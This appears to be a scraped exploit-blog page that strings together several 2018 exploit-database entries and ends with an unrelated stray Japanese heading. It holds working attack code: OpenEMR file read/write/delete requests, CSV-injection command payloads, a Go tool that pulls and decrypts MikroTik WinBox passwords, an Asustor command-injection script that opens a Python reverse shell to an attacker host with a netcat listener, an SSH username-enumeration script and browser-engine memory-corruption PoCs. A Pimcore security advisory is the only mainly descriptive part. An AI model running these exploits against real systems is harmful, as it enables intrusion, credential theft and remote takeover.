# Exploit Title: OpenEMR 5.0.1.3 - Arbitrary File Actions
# Date: 2018-08-14
# Exploit Author: Joshua Fam
# Twitter : @Insecurity
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz
# Version: < 5.0.1.3
# Tested on: Ubuntu LAMP, OpenEMR Version 5.0.1.3
# CVE : CVE-2018-15142,CVE-2018-15141,CVE-2018-15140
# 1.Arbitrary File Read:
# In OpenEmr a user that has access to the portal can send a malcious
# POST request to read arbitrary files.
# i.Vulnerable Code:
# if ($_POST['mode'] == 'get') {
# echo file_get_contents($_POST['docid']);
# exit;
# }
# ii. Proof of Concept:
POST /openemr/portal/import_template.php HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: OpenEMR=k3m0vq90hhb5et06rib5l7l8fq; PHPSESSID=1dbh9mom6ib07jqovfusgjc3vs
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
mode=get&docid=/etc/passwd
# 2.Arbitrary File Write:
# In OpenEmr a user that has access to the portal can send a malcious
# POST request to write arbitrary files.
# i. Vulnerable Code:
# } else if ($_POST['mode'] == 'save') {
# file_put_contents($_POST['docid'], $_POST['content']);
# exit(true);
# }
# ii. Proof of Concept:
POST /openemr/portal/import_template.php HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: OpenEMR=k3m0vq90hhb5et06rib5l7l8fq; PHPSESSID=1dbh9mom6ib07jqovfusgjc3vs
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
mode=save&docid=payload.php&content=<?php phpinfo();?>
# After sending this navigate to payload.php at http://hostname/openemr/portal
# 3. Arbitrary File Delete:
# In OpenEmr a user that has access to the portal can send a malcious
# POST request to delete a arbitrary file.
# i. Vulnerable Code:
# } else if ($_POST['mode'] == 'delete') {
# unlink($_POST['docid']);
# exit(true);
# }
# ii. Proof of Concept:
POST /openemr/portal/import_template.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: OpenEMR=k3m0vq90hhb5et06rib5l7l8fq; PHPSESSID=1dbh9mom6ib07jqovfusgjc3vs
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
mode=delete&docid=payload.php
# After completing this request, when you navigate to payload.php, you should be greeted by a 404 page.
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
-
Entries
16114 -
Comments
7952 -
Views
863576330
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# Exploit Title: Wordpress Plugin Export Users to CSV 1.1.1 - CSV Injection
# Exploit Author: Javier Olmedo
# Website: https://hackpuntes.com
# Date: 2018-08-14
# Google Dork: N/A
# Vendor: Matt Cromwell
# Software Link: https://wordpress.org/plugins/export-users-to-csv/
# Affected Version: 1.1.1 and before
# Active installations: +20,000
# Patched Version: unpatched
# Category: Web Application
# Platform: PHP
# Tested on: Win10x64
# 1. Plugin Description:
# WordPress Export Users to CSV plugin exports user data and meta data.
# You can even export the users by role and registration date range.
# 2. Technical Description:
# WordPress Export users to CSV plugin version 1.1.1. and before are affected by Remote Code Execution
# through the CSV injection vulnerability. This allows an application user to inject commands as part
# of the fields of his profile and these commands are executed when a user with greater privilege
# exports the data in CSV and opens that file on his machine.
# 3. Proof Of Concept (PoC):
# Enter the payload =SUM(1+1)*cmd|' /C calc'!A0 in any field of the profile, for example, in biography.
# When the user with high privileges logs in to the application, export data in CSV and opens the
# generated file, the command is executed and the calculator will run open on the machine.
# 4. Payloads:
=SUM(1+1)*cmd|' /C calc'!A0
+SUM(1+1)*cmd|' /C calc'!A0
-SUM(1+1)*cmd|' /C calc'!A0
@SUM(1+1)*cmd|' /C calc'!A0
# Exploit Title: WebkitGTK+ 2.20.3 - 'ImageBufferCairo::getImageData()' Buffer Overflow (PoC)
# Date: 2018-08-15
# Exploit Author: PeregrineX
# Vendor Homepage: https://webkitgtk.org/ & https://webkit.org/wpe/
# Software Link: https://webkitgtk.org/releases/ & https://wpewebkit.org/releases/
# Version: <2.20.3 (GTK+) <2.20.1 (WPE)
# Tested on: WebKitGTK+ 2.20.2
# CVE : CVE-2018-12293
# SUMMARY:
# getImageData() in ImageBufferCairo.cpp multiplies rect.width() * rect.height() * 4
# without any overflow checks. If result is larger than UINT_MAX,
# heap-based buffer overflow via integer overflow will occur,
# which could be exploited further.
# Works on WebKitGTK+ <2.20.3 and WPE WebKit <2.20.1
# Credit to ADlab of Venustech for originally finding this vulnerability.
Vulnerable Code (Source/WebCore/platform/graphics/cairo/ImageBufferCairo.cpp):
template <AlphaPremultiplication premultiplied>
RefPtr<Uint8ClampedArray> getImageData(const IntRect& rect, const IntRect& logicalRect, const ImageBufferData& data, const IntSize& size, const IntSize& logicalSize, float resolutionScale)
{
auto result = Uint8ClampedArray::createUninitialized(rect.width() * rect.height() * 4);
if (!result)
return nullptr;
//...
# Proof of Concept:
<html>
<head>
<script>
funciton poc() {
var c = document.getElementById("myCanvas");
var ctx = c.getContext("2d");
var imgData = ctx.getImageData(0, 0, 32768, 32768);
}
</script>
</head>
<body onload="poc()">
<canvas id="myCanvas" width="32768" height="32768">No HTML5 canvas tag.</canvas>
</body>
</html>
# Output snippet
UBSAN output:
../Source/JavaScriptCore/runtime/JSGlobalObject.cpp:1608:22: runtime error:
call to function (unknown) through pointer to incorrect function type
'JSC::RuntimeFlags (*)(const JSC::JSGlobalObject *)'
(/usr/local/lib/libwebkit2gtk-4.0.so.37+0x11116c70): note: (unknown) defined here
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior
../Source/JavaScriptCore/runtime/JSObject.h:695:17 in
DerivedSources/JavaScriptCore/KeywordLookup.h:469:13: runtime error:
load of misaligned address 0x7fd8a1d95062 for type 'const uint32_t'
(aka 'const unsigned int'), which requires 4 byte alignment
0x7fd8a1d95062: note: pointer points here
00 00 28 66 75 6e 63 74 69 6f 6e 20 28 74 68 69 73 56 61 6c 75 65 2c 20 61 72 67 75 6d 65 6e 74
^
/*
# Title: Mikrotik WinBox 6.42 - Credential Disclosure ( golang edition )
# Author: Maxim Yefimenko ( @slider )
# Date: 2018-08-06
# Sotware Link: https://mikrotik.com/download
# Vendor Page: https://www.mikrotik.com/
# Version: 6.29 - 6.42
# Tested on: Fedora 28 \ Debian 9 \ Windows 10 \ Android ( wherever it was possible to compile.. it's golang ^_^ )
# CVE: CVE-2018-14847
# References:
# ( Alireza Mosajjal ) https://github.com/mosajjal https://n0p.me/winbox-bug-dissection/
# ( BasuCert ) https://github.com/BasuCert/WinboxPoC
# ( manio ) https://github.com/manio/mtpass/blob/master/mtpass.cpp
# and special thanks to Dmitriy_Area51
*/
package main
import (
"crypto/md5"
"fmt"
"net"
"os"
"strings"
"time"
)
var (
a = []byte{0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,
0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07,
0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,
0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f,
0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f,
0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f,
0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66,
0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f,
0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73,
0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00,
0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88,
0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00,
0x00, 0x00}
b = []byte{0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00,
0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01,
0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08,
0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09,
0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00,
0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01,
0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00,
0x00, 0x02, 0x00, 0x00, 0x00}
buf = make([]byte, 1024*8)
)
func checkErr(err error) {
if err != nil {
fmt.Println("Error:" + err.Error())
}
}
func decryptPassword(user []byte, passEnc []byte) string {
var passw []byte
hasher := md5.New()
hasher.Write(user)
hasher.Write([]byte("283i4jfkai3389"))
key := hasher.Sum(nil)
for i := 0; i < len(passEnc); i++ {
passw = append(passw, passEnc[i]^key[i%len(key)])
}
return string(ASCIIonly(passw))
}
func ASCIIonly(s []byte) []byte {
for i, c := range s {
if c < 32 || c > 126 {
return s[:i]
}
}
return s
}
func extractPass(buff []byte) (s []string) {
var (
usr []byte
pwd []byte
)
//searching for StartOfRecord
for i := 0; i < len(buff); i++ {
if i+2 >= len(buff) {
break
}
if (buff[i] == 0x4d) && (buff[i+1] == 0x32) && (buff[i+2] == 0x0a || buff[i+2] == 0x10) {
// fmt.Printf("Probably user record at offset 0x%.5x\n", i)
//some bytes ahead is enable/disable flag
i += int((buff[i+2] - 5))
if i >= len(buff) {
break
}
//searching for StartOfRecNumber
if i+3 >= len(buff) {
break
}
for !((buff[i] == 0x01) && ((buff[i+1] == 0x00) || (buff[i+1] == 0x20)) && (buff[i+3] == 0x09 || buff[i+3] == 0x20)) {
i++
if i+3 >= len(buff) {
break
}
}
i += 4
if i >= len(buff) {
break
}
// fmt.Printf("SORn: 0x%X\n", i)
// comment?
i += 18
if (i + 4) >= len(buff) {
break
}
if (!((buff[i+1] == 0x11) && (buff[i+2] == 0x20) && (buff[i+3] == 0x20) && (buff[i+4] == 0x21))) && (buff[i-5] == 0x03 && (buff[i] != 0x00)) {
if (i+1)+int(buff[i]) >= len(buff) {
break
}
i += int(buff[i])
} else {
i -= 18
}
//searching for StartOfPassword
if i+4 >= len(buff) {
break
}
for !((buff[i] == 0x11) && (buff[i+3] == 0x21) && ((buff[i+4] % byte(0x10)) == 0)) {
i++
if i+4 >= len(buff) {
break
}
}
i += 5
if (i + 3) >= len(buff) {
break
}
if (buff[i-1] != 0x00) && !((buff[i] == 0x01) && ((buff[i+1] == 0x20 && buff[i+2] == 0x20) || (buff[i+1] == 0x00 && buff[i+2] == 0x00)) && (buff[i+3] == 0x21)) {
pwd = buf[i-1+1 : int(buf[i-1])+i-1+1]
i += int(buff[i-1])
}
//searching for StartOfUsername
if i+3 >= len(buff) {
break
}
for !((buff[i] == 0x01) && (buff[i+3] == 0x21)) {
i++
if i+3 >= len(buff) {
break
}
}
i += 4
if i >= len(buff) {
break
}
if buff[i] != 0x00 {
if i+int(buff[i]) >= len(buff) {
break
}
usr = ASCIIonly(buff[i+1 : int(buff[i])+i+1])
i += int(buff[i])
}
decrypted := decryptPassword(usr, pwd)
//fmt.Printf(" --> %s\t%s\n", buff[i], decrypted)
if len(usr) != 0 {
s = append(s, strings.Join([]string{string(usr), string(decrypted)}, ":"))
}
}
}
return s
}
func main() {
if len(os.Args) < 2 {
fmt.Printf(" [ usage: %s 192.168.88.1\n\n", os.Args[0])
os.Exit(0)
}
conn, err := net.DialTimeout("tcp", os.Args[1]+":8291", time.Duration(3*time.Second))
if err != nil {
fmt.Println(err.Error())
return
}
defer conn.Close()
conn.Write(a)
reqLen, err := conn.Read(buf)
checkErr(err)
if reqLen < 38 {
panic("First packet is too small")
}
b[19] = buf[38]
conn.Write(b)
reqLen, err = conn.Read(buf)
checkErr(err)
db := buf[:reqLen]
s := extractPass(db)
for i, acc := range s {
data := strings.SplitN(acc, ":", 2)
fmt.Printf(" [%d] %s\t%s\n", i, data[0], data[1])
}
}
SEC Consult Vulnerability Lab Security Advisory < 20180813-0 >
=======================================================================
title: SQL Injection, XSS & CSRF vulnerabilities
product: Pimcore
vulnerable version: 5.2.3 and below
fixed version: 5.3.0
CVE number: CVE-2018-14057, CVE-2018-14058, CVE-2018-14059
impact: High
homepage: https://pimcore.com/en
found: 2018-06-11
by: T. Silpavarangkura (Office Bangkok)
N. Rai-Ngoen (Office Bangkok)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult
Europe | Asia | North America
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"Pimcore is an award-winning consolidated open source enterprise platform for
master data management (PIM/MDM), user experience management (CMS/UX), digital
asset management (DAM) and eCommerce."
Source: https://pimcore.com/en
Business recommendation:
------------------------
The vendor provides a patch for most identified issues, but XSS will not be fixed
according to the vendor.
An in-depth security analysis performed by security professionals is highly
advised, as the software may be affected from further security issues.
Vulnerability overview/description:
-----------------------------------
1. SQL Injection (CVE-2018-14058)
Multiple SQL injection vulnerabilities have been identified in the REST web
service API. An attacker who obtains a valid API key that is granted a
necessary permission could successfully perform an attack to extract
information from the database.
2. Stored Cross-site Scripting (CVE-2018-14059)
Multiple stored cross-site scripting vulnerabilities have been identified
across multiple functions in the application, which allows an authenticated
attacker to insert arbitrary JavaScript code in virtually all text fields and
data entries in the application.
3. Cross-site Request Forgery (CVE-2018-14057)
Multiple functions in the application are not protected by the existing
anti-CSRF token, which allows an attacker to perform a cross-site request
forgery attack to at least add, update or delete entries, among other actions.
Proof of concept:
-----------------
1. SQL Injection (CVE-2018-14058)
The following URLs demonstrate the issue:
http://<host>/webservice/rest/asset-count?apikey=[...]&condition=<SQL Injection>
http://<host>/webservice/rest/asset-inquire?apikey=[...]&id=<SQL Injection>
http://<host>/webservice/rest/asset-list?apikey=[...]&condition=<SQL Injection>
http://<host>/webservice/rest/document-count?apikey=[...]&condition=<SQL Injection>
http://<host>/webservice/rest/document-inquire?apikey=[...]&id=<SQL Injection>
http://<host>/webservice/rest/document-list?apikey=[...]&condition=<SQL Injection>
http://<host>/webservice/rest/object-count?apikey=[...]&condition=<SQL Injection>
http://<host>/webservice/rest/object-inquire?apikey=[...]&id=<SQL Injection>
http://<host>/webservice/rest/object-list?apikey=[...]&condition=<SQL Injection>
Note that a valid API key that is granted at least either "Assets", "Documents"
or "Objects" permission is required to perform an SQL injection attack against
associated API endpoints successfully.
2. Stored Cross-site Scripting (CVE-2018-14059)
Most of the text fields in pop-up dialogs and data entries in the application
are vulnerable to the cross-site scripting vulnerability, which can be
exploited by an authenticated attacker. For example, the attacker could insert
an attack payload while performing at least the following actions:
1) Edit a user account's first name/last name/e-mail address.
2) Edit a Document Types/Predefined Properties/Predefined Asset Metadata/
Quantity Value/Static Routes entry value in the table.
3) Rename an Assets/Data Objects/Video Thumbnails/Image Thumbnails/
Field-Collections/Objectbrick/Classification Store item.
The vendor stated that many identified XSS issues only affect administrative
functions and hence the issues will not be fixed:
"They are only affecting administrative functionalities (higher privileges
required) - so this isn't used by non-trusted users - a check just adds
additional overhead without any benefits for security."
SEC Consult argued multiple times that XSS can still be exploited e.g. when a
higher privileged user gets attacked and the issues should be fixed nevertheless.
3. Cross-site Request Forgery (CVE-2018-14057)
The existing anti-CSRF token in the HTTP request header named
"X-pimcore-csrf-token" was found to be validated only in the "Settings >
Users / Roles" function. Therefore, an attacker could perform a cross-site
request forgery attack against virtually all other functions in order to
at least add, update and delete data without having to submit the anti-CSRF
token.
The non-exhaustive list of affected requests are listed below:
POST /admin/asset/add-asset
POST /admin/asset/add-asset-compatibility
GET /admin/asset/delete
GET /admin/asset/import-server
GET /admin/asset/import-server-files
GET /admin/asset/import-url
POST /admin/asset/import-zip
POST /admin/asset/update
GET /admin/document/add
GET /admin/document/delete
POST /admin/document/doc-types
POST /admin/email/blacklist
POST /admin/email/email-logs
POST /admin/email/save
POST /admin/hardlink/save
POST /admin/link/save
POST /admin/newsletter/save
GET /admin/object/add
POST /admin/object/save
GET /admin/object/delete
POST /admin/page/save
POST /admin/settings/metadata
POST /admin/settings/properties
POST /admin/settings/set-system
POST /admin/settings/website-settings
POST /admin/snippet/save
Vulnerable / tested versions:
-----------------------------
The vulnerabilities have been identified in Pimcore version 5.2.3 which was the
most current version at the time of discovery.
Vendor contact timeline:
------------------------
2018-06-15: Contacting vendor through
https://pimcorehq.wufoo.com/forms/pimcore-security-report
2018-06-18: Vendor provides the fixes of SQL injection and CSRF in the nightly
build, but has a problem of reproducing the XSS.
2018-06-18: Contacting vendor to request for a secure channel to provide
further details of the XSS.
2018-06-18: Sending the details of the XSS.
2018-06-19: Vendor fixes the SQL injection and only fixes the XSS partially.
2018-06-20: Notifying vendor, that SQL injection and XSS are not properly fixed
2018-06-20: Vendor inquires more details about the XSS.
2018-06-21: Explaining vendor the XSS issues and notifying vendor that the CSRF
has been fixed.
2018-06-21: Vendor will discuss the open issues internally.
2018-07-11: Following up vendor regarding the fixes of the open issues.
2018-07-11: Vendor completely fixes the SQL injection, but decides not to fix
the XSS in the administrative functions, patch release is planned
within the next two weeks
2018-07-20: Vendor provides a patched version
2018-08-13: Public release of security advisory
Solution:
---------
The vendor has published a new release (version 5.3.0) which fixes most of the
identified issues, but not the XSS issues that affect administrative functions:
https://pimcore.com/en/download
Workaround:
-----------
None
Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult
Europe | Asia | North America
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/career/index.html
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/contact/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult
EOF Thongchai Silpavarangkura / @2018
# Exploit Title: Central Management Software v1.4.13 - Denial of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-08-16
# Homepage: https://www.ambientweather.com
# Software Link: https://p10.secure.hostingprod.com/@site.ambientweatherstore.com/ssl/Manuals/ambientcam/04_central_management_software.zip
# Tested Version: 1.4.13
# Tested on OS: Windows 10
# Steps to Reproduce: Run the python exploit script, it will create a new
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the CMS client program. In the new window paste the content of
# "exploit.txt" into the following fields:"Password". Click "Login" and you will see a crash.
#!/usr/bin/python
buffer = "A" * 2000
payload = buffer
try:
f=open("exploit.txt","w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"
# Title: Asustor ADM 3.1.2RHG1 - Remote Code Execution
# Author: Matthew Fulton & Kyle Lovett
# Date: 2018-07-01
# Vendor Homepage: https://www.asustor.com/
# Software Link: http://download.asustor.com/download/adm/X64_G3_3.1.2.RHG1.img
# Version: <= ADM 3.1.2RHG1
# Tested on: ASUSTOR AS6202T
# CVE : CVE-2018-11510
# References:
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11510
#!/usr/bin/python
"""
CVE-2018-11510: http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11510
This exploit takes advantage an unauthenticated os command injection discovered by Kyle Lovette
if exploitation occurs successfully, a root shell is granted
Authors: matthew fulton and Kyle Lovett
Date: 27 May 2018
Background: Both Kyle and I found a number of vulnerabilities that we had independently reported
to Asustor that Asustor hasn't acknowledge nor apparenlty fixed.
After a twitter communication Kyle was kind enough to share a few details
exploit created on MacOS system, python 2.7.10, may port to metasploit module soon
Vendor link: https://www.asustor.com
Matthews-MBP:remoteunauth matt$ python admex.py -t 192.168.1.82
exploit for an unauthenticated OS command injection vulnerability that effects
Asustor ADM 3.1.2.RHG1 and below, leads to complete compromise
authors: Matthew Fulton (@haqur) & Kyle Lovett (@SquirrelBuddha)
starting netcat listener on port 1234
/bin/sh: can't access tty; job control turned off
/volume0/usr/builtin/webman/portal/apis # uname -a;id
/bin/sh: can't access tty; job control turned off
/volume0/usr/builtin/webman/portal/apis # Linux AS6202T-961F 4.4.24 #1 SMP Mon Mar 26 02:57:14 CST 2018 x86_64 GNU/Linux
uid=0(root) gid=0(root) groups=0(root)
"""
import sys, threading, time, os, subprocess
import urllib2
import ssl
import argparse
class exploit(object):
def __init__(self,interval=1):
self.target = args.target
self.rport = args.port
self.lport = args.lport
self.remote = args.remote
self.interval = interval
thread = threading.Thread(target=self.run, args=())
thread.daemon = True
thread.start()
def run(self):
#ignore ssl warnings
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
while True:
try:
turl="https://"+self.target+":"+self.rport+"/portal/apis/aggrecate_js.cgi?script=" \
"launcher%22%26python%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket" \
"(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%22"+self.remote+"%22%2C"+self.lport+"))" \
"%3Bos.dup2(s.fileno()%2C0)%3B%20os.dup2(s.fileno()%2C1)%3B%20os.dup2(s.fileno()%2C2)%3Bp%3D" \
"subprocess.call(%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D)%3B%27%22"
response=urllib2.urlopen(turl,context=ctx)
time.sleep(self.interval)
except urllib2.URLError as e:
print "Something is wrong:|"
print e
os._exit(1)
def revShell():
print "starting netcat listener on port "+args.lport
cmd = "nc -lv {0}".format(args.lport)
os.system(cmd)
def main():
print """exploit for an unauthenticated OS command injection vulnerability that effects
Asustor ADM 3.1.2.RHG1 and below, leads to complete compromise
authors: Matthew Fulton (@haqur) & Kyle Lovett (@SquirrelBuddha)"""
goexploit = exploit()
revShell()
if __name__ == '__main__':
Help = """exploitation of a OS command injection bug that effects Asustor ADM, leads to complete compromise
authors: Matthew Fulton (@haqur) & Kyle Lovett (@SquirrelBuddha)"""
parser=argparse.ArgumentParser(description=help)
parser.add_argument('--target', '-t', default="192.168.1.82", help="Target IP", required=True)
parser.add_argument('--port', '-p', default="8001")
parser.add_argument('--lport', '-l', default="1234")
parser.add_argument('--remote','-r', default="192.168.1.253")
args = parser.parse_args()
main()
# Exploit Title: CEWE Photoshow 6.3.4 - Denial of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-08-17
# Homepage: https://cewe-photoworld.com/
# Software Link: https://cewe-photoworld.com/creator-software/windows-download
# Tested Version: 6.3.4
# Tested on OS: Windows 10
# Steps to Reproduce: Run the python exploit script, it will create a new
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the program. Once inside of the CEWE Photoshow program click "Login". In the new window paste the content of
# "exploit.txt" into the following fields:"email address" & "Password". Click "Ok" and you will see a crash.
#!/usr/bin/python
buffer = "A" * 4000
payload = buffer
try:
f=open("exploit.txt","w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"
#!/usr/bin/env python
# Copyright (c) 2018 Matthew Daley
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to
# deal in the Software without restriction, including without limitation the
# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
# sell copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
# IN THE SOFTWARE.
import argparse
import logging
import paramiko
import socket
import sys
class InvalidUsername(Exception):
pass
def add_boolean(*args, **kwargs):
pass
old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[
paramiko.common.MSG_SERVICE_ACCEPT]
def service_accept(*args, **kwargs):
paramiko.message.Message.add_boolean = add_boolean
return old_service_accept(*args, **kwargs)
def userauth_failure(*args, **kwargs):
raise InvalidUsername()
paramiko.auth_handler.AuthHandler._handler_table.update({
paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
})
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str)
arg_parser.add_argument('--port', type=int, default=22)
arg_parser.add_argument('username', type=str)
args = arg_parser.parse_args()
sock = socket.socket()
try:
sock.connect((args.hostname, args.port))
except socket.error:
print '[-] Failed to connect'
sys.exit(1)
transport = paramiko.transport.Transport(sock)
try:
transport.start_client()
except paramiko.ssh_exception.SSHException:
print '[-] Failed to negotiate SSH transport'
sys.exit(2)
try:
transport.auth_publickey(args.username, paramiko.RSAKey.generate(2048))
except InvalidUsername:
print '[*] Invalid username'
sys.exit(3)
except paramiko.ssh_exception.AuthenticationException:
print '[+] Valid username'
// PoC:
async function trigger(a = class b {
[await 1]() {
}
}) {
}
let spray = [];
for (let i = 0; i < 100000; i++) {
spray.push(parseFloat.bind(1, 0x1234, 0x1234, 0x1234, 0x1234));
}
trigger();
/*
The PoC is invalid JavaScript, but Chakra does parse it without any exception and generates incorrect bytecode from that.
Here's the generated bytecode.
Function trigger ( (#1.1), #2) (In0, In1) (size: 36 [34])
18 locals (8 temps from R10), 5 inline cache
Constant Table:
======== =====
R1 LdRoot
R2 LdC_A_I4 int:1
R3 Ld_A (undefined)
R4 LdFalse
Implicit Arg Ins:
======== === ===
R5 ArgIn_A In1
0000 InitUndecl R6
0002 TryCatch x:004c ( 71)
Line 1: a = class b {
Col 24: ^
0005 BrSrNeq_A x:0048 ( 62) R5 R3
000a NewScFunc R13 = b()
000d InitClass R13
0012 ProfiledLdFld R14 = R13.prototype #0 <0>
0016 SetHomeObj R13 R14
001b NewScObjectSimple R9
001d ProfiledStFld R9.value = R2 #1 <1>
0021 ProfiledStFld R9.done = R4 #2 <2>
0025 Yield R9 R9 <<-----------------------------------------------
0028 ResumeYield R15 R9
002b NewScFunc R16 = b.prototype[]()
002e SetComputedNameVar R16 R15
0033 ProfiledLdFld R14 = R13.prototype #0 <0>
0037 InitClassMemberComputedName R14[R15] = R16
003d SetHomeObj R16 R14
0042 InitConst R6 R13
0045 Ld_A R5 R13
0048 Leave
0049 Br x:0074 ( 40)
004c Catch R10
004e Nop
004f ProfiledLdRootFld R11 = root.Promise #4 <4>
0055 ProfiledLdMethodFld R12 = R11.reject #3 <3>
0059 StartCall ArgCount: 2
005c ArgOut_A Out0 = R11
005f ArgOut_A Out1 = R10
0062 ProfiledCallIWithICIndex R12 = R12(ArgCount: 2) <3> <0>
006c Ld_A R0 R12
006f Leave
0070 Br x:0076 ( 3)
0073 Leave
0074 LdUndef R0
Line 5: }
Col 1: ^
0076 Ret
Yield operations shoud not be performed under a try-catch block, but incorrectly generated bytecode allowed it at (a). This will lead to type confusion in the InterpreterStackFrame::OP_ResumeYield method.
*/
/*
If the Intl object hasn't been initialized, access to any property of it will trigger the initialization process which will run Intl.js. The problem is that it runs Intl.js without caring about the ImplicitCallFlags flag.
In the PoC, it redefines Map.prototype.get to intercept the execution of Intl.js.
PoC:
*/
function opt(arr, obj) {
arr[0] = 1.1;
obj.x;
arr[0] = 2.3023e-320;
}
let arr = [1.1];
for (let i = 0; i < 0x10000; i++) {
opt(arr, {});
}
let get = Map.prototype.get;
Map.prototype.get = function (key) {
Map.prototype.get = get;
arr[0] = {};
return this.get(key);
};
opt(arr, Intl);
alert(arr[0]);
第1章試合前の準備 - インストール
翻訳者:@snowming
